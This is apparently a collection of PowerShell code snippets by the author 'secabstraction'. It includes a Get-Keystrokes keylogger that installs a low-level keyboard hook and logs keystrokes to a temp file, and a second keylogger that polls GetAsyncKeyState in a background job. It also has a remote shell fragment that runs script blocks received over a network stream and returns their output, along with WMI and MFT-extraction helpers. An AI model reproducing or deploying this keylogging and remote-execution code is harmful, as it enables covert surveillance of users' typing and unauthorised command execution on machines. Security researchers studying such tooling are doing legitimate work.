secabstraction

function Get-Keystrokes {
    [CmdletBinding()] 
    Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
        [String]$LogPath = "$($env:TEMP)\key.log",

        [Parameter(Position = 1)]
        [Double]$Timeout,

secabstraction

# Define callback
$CallbackScript = {
    Param (
        [Int32]$Code,
        [IntPtr]$wParam,
        [IntPtr]$lParam
    )

    $MsgType = $wParam.ToInt32()

secabstraction

# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)

$Stopwatch = [Diagnostics.Stopwatch]::StartNew()

# Message loop
while ($true) {
    if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
    $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
    Start-Sleep -Milliseconds 10

secabstraction

$Initilizer = {

    function KeyLog {
        # Win32 Imports
        Start-Sleep -Milliseconds $PollingInterval
        # Excessive GetAsyncKeyState loop to check for pressed keys
    }
}

Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

secabstraction

while ($true) { Start-Sleep -Milliseconds 10 ; continue }
# This minute pause is imperceptible to a user, but drops the CPU to 0%

secabstraction

while ($true) { continue } 
# With nothing to do this quickly eats 100% CPU

secabstraction

function Setup_CMD
{
  param($FuncSetupVars)
  if($global:Verbose){$Verbose = $True}
  $FuncVars = @{}
  $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
  $ProcessStartInfo.FileName = $FuncSetupVars[0]
  $ProcessStartInfo.UseShellExecute = $False
  $ProcessStartInfo.RedirectStandardInput = $True
  $ProcessStartInfo.RedirectStandardOutput = $True

secabstraction

try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) }
catch { break } # network stream closed

$Global:Error.Clear()

$BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String))
foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) }
$BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))

secabstraction

function Invoke-WmiRunspaceQuery {
<#
.SYNOPSIS
Creates a multi-threaded effect by using runspaces to speed up WMI queries to multiple hosts.

Version: 0.1
Author : Jesse Davis (@secabstraction)
License: BSD 3-Clause

.PARAMETER ComputerName 

secabstraction

function Export-MFT {
<#
.SYNOPSIS
Extracts master file table from volume.

Version: 0.1
Author : Jesse Davis (@secabstraction)
License: BSD 3-Clause

.DESCRIPTION